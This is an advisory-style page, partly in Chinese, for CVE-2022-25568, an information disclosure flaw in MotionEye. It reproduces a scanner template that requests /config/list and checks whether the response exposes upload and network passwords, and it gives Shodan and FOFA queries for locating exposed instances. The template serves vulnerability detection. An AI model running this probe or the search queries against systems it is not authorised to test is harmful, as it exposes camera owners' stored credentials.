CVE-2022-25568: MotionEye Config Info Disclosure

日期: 2025-08-01 | 影响软件: MotionEye | POC: 已公开

漏洞描述

MotionEye v0.42.1 and below allows attackers to access sensitive information via a GET request to /config/list. To exploit this vulnerability, a regular user password must be unconfigured.

PoC代码[已公开]

id: CVE-2022-25568

info:
  name: MotionEye Config Info Disclosure
  author: DhiyaneshDK
  severity: high
  description: |
    MotionEye v0.42.1 and below allows attackers to access sensitive information via a GET request to /config/list. To exploit this vulnerability, a regular user password must be unconfigured.
  reference:
    - https://www.pizzapower.me/2022/02/17/motioneye-config-info-disclosure/
    - https://github.com/ccrisan/motioneye/issues/2292
    - https://nvd.nist.gov/vuln/detail/cve-2022-25568
    - https://github.com/KayCHENvip/vulnerability-poc
    - https://github.com/Miraitowa70/POC-Notes
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-25568
    cwe-id: CWE-1188
    epss-score: 0.89768
    epss-percentile: 0.99545
    cpe: cpe:2.3:a:motioneye_project:motioneye:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: motioneye_project
    product: motioneye
    shodan-query:
      - html:"MotionEye"
      - http.html:"motioneye"
    fofa-query: body="motioneye"
  tags: cve,cve2022,motioneye,config,motioneye_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/config/list"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "upload_password"
          - "network_password"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022006f127db001155ee0d141ee7190ac7c4231e780fb54ccbeca495084835922a38022100af4bc4a164cfb123a78259d8956bd3defa96d359cbc4464cd72aa429f3561392:922c64590222798bb761d5b6d8e72950

相关漏洞推荐